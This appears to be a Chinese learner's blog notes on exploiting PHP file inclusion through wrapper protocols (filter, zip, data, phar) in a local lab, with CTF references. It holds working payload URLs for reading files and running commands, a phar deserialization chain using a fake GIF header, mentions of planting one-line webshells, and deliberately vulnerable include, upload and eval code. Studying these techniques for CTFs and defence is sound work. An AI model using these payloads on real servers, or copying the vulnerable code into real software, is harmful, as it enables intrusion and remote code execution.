以下都在本地测试运行
在测试之前,先修改一下php.ini里面的配置文件
1.(input输出流)
index.php文件内容为
<?php include($_GET["file"]); ?>
php://input 是个可以访问请求的原始数据的只读流,关于php://input
https://www.cnblogs.com/redfire/p/7695263.html
2. (filter协议)
127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
读取指定文件,以base64编码格式输出,这里我读取的是php.ini,注意这里要用绝对路径,一些ctf当中有此类应用
关于php://filter协议的应用
https://blog.csdn.net/destiny1507/article/details/82347371
3.(zip协议)
127.0.0.1/index.php?file=zip://1.zip%23in.php
<?php
$file = $_GET['file']; /*index.php*/
include($file) ;
?>
<?php
phpinfo(); /*in.php*/
?>
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
但是大多数情况下,会对php文件有过滤的,接下来我们把php文件改为jpg
127.0.0.1/index.php?file=zip://in.zip%23in.jpg
发现同样能执行成功,仔细想一下,这里主要还是include函数的作用
(再仔细想一下,与我目前的知识水平,感觉这个方法很鸡肋,既然能直接包含了,何必再大费周章的压缩文件呢,当然,很多东西自己可能都不是很了解,肯定有它存在的用处的,先积累)
4. (data协议)
127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
PD9waHAgcGhwaW5mbygpOyA/Pg== 是 <?php phpinfo(); ?>的编码
127.0.0.1/index.php?file=data:text/plain,<?php system('whoami')?>
也可以用做命令执行
127.0.0.1/index.php?file=data:text/plain,<?php system('type D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini')?>
也可以读取源码
5.(file协议)
127.0.0.1/index.php?file=file://D:\phpstudy_pro\www\test.php
file协议用来访问本地文件(这里我一开始读的是php的配置文件,不知道咋回事总是报错)
6.(phar协议)
我现在本地测试一下利用phar协议的流程
<!-- phar.php -->
<?php
require_once('eval.class.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("vu.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
<!-- eval.class.php -->
<?php
class Evil {
protected $val;
function __construct($val)
{
$this->val = $val;
}
function __wakeup() {
assert($this->val);
}
}
?>
以上两段代码用来生成一个vu.phar文件,我们把phar.php放在网页里访问一下
注意后面对我们传输的值进行了序列化处理
phar协议实质上就是对序列化与反序列化的应用
接下来正式开始测试,在本地搭一个文件上传的环境
<!-- upload_file.html -->
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
<!-- upload_file.php -->
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
<!-- file_un.php -->
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}}
file_exists($filename);
?>
这里文件上传规定只允许上传文件后缀为gif的文件,且检查了文件头是否正确,我们要做的是把phar文件上传,但是这里是不能成功的,因为生成的phar文件并没有添加gif头,所以这里在直接生成一个含有gif头的phar文件
<!-- eval.php -->
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('1.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
我们在把新生成的1.phar修改后缀为1.gif,上传到服务器
这里不知道为什么,一上传就提示404,一开始考虑可能是目录权限的问题,但是改权限也没有用,如果把所有上传文件放到www目录下,就能上传成功,这里就先在www目录下进行上传
下面用phar协议进行包含,注意这里一定要有一个文件包含的地方,刚才的file_un.php就提供了这个函数
http://localhost/file_un.php?filename=phar://1.gif
成功执行phpinfo
刚才上面也说过,phar协议和php序列化有关系,用简单的话来概括一下流程
生成phar文件(文件包含phpinfo,并将它序列化,生成文件的过程本质就是序列化的过程) => phar:// 访问文件(phar://就相当于反序列化的过程) => 利用文件包含传参 file=phar://1.gif
在生成phar文件的过程中,可以对phar文件添加任意图片头,再通过修改后缀这也是防护的很好方式,但是这只是过滤了文件头检测和文件后缀检测,防护并不是很彻底
其他测试
http://localhost/index.php?file=phar://1.jpg/in.php
这里可以直接利用phar协议,这个方法和zip协议还是很类似的,把#换成/就好了(原理不太清楚,先用着)
写到这里又发现,为啥还要大费周折的创建一个phar然后在反序列化呢,直接上传一个gif不就好了吗,本质都是文件包含,为啥还要伪协议呢,直接file=1.gif不就好了,emmmm,就当积累知识了
利用php协议上传一句话木马
http://localhost/index.php?file=zip://shell.zip%23shell.php
将shell.php打包为shell.zip(.zip也可改成.jpg)
利用php://input上传一句话木马
执行完后可以看到直接生成了1.php
关于各个协议的php.ini配置
文章参考
https://www.freebuf.com/company-information/187071.html
https://xz.aliyun.com/t/2715
https://www.cnblogs.com/ichunqiu/p/10683379.html
https://www.jianshu.com/p/237804b9f19b
自己以前遇到过的php序列化的ctf,可以参考一下我以前的文章
https://blog.csdn.net/weixin_43940853/article/details/95324289